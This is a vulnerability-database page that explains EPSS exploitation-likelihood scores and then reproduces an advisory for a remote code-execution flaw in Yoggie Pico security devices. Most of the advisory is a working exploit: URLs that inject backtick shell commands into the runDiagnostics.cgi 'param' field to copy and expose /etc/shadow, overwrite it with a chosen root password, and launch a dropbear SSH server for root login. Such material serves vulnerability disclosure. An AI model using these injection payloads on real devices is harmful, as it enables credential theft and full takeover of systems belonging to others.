EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

source: https://www.securityfocus.com/bid/24743/info Yoggie Pico and Pico Pro are prone to a remote code-execution vulnerability because the device fails to sufficiently sanitize user-supplied input. An attacker can exploit this issue to execute arbitrary code with superuser privileges. A successful exploit will result in the complete compromise of affected devices. When run from a machine with a Yoggie Pico Pro connected, yoggie.yoggie.com resolves to the IP of the device, so these links will of course not work unless you have a device connected. I didn't brute-force the root password, so I explain how you can replace their /etc/shadow to set the password to whatever you choose. To access the original /etc/shadow: https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60cp%20/etc/shadow%20shadow.txt%60 https://yoggie.yoggie.com:8443/cgi-bin/shadow.txt Replace the root password with the password of your choosing, then wrap the file in single quotes and urlencode the entire string. To replace the original /etc/shadow with your own: https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60echo%20<urlencoded shadow file>%20%3E%20/etc/shadow%60 Finally, running dropbear sshd on port 7290 (random choice -- not blocked by their firewall rules) https://yoggie.yoggie.com:8443/cgi-bin/runDiagnostics.cgi?command=Ping&param=%60/usr/sbin/dropbear%20-p%207290%60 Log in as root with the password chosen, and you now have complete control over the device. It's quite powerful little computer, and a whole hell of a lot of fun to play around with. A word of advice, though -- don't touch libc in any way, shape, or form, as there's no reflash mechanism I've found on the device, which is why I now have a bricked pico pro sitting on my desk ;)
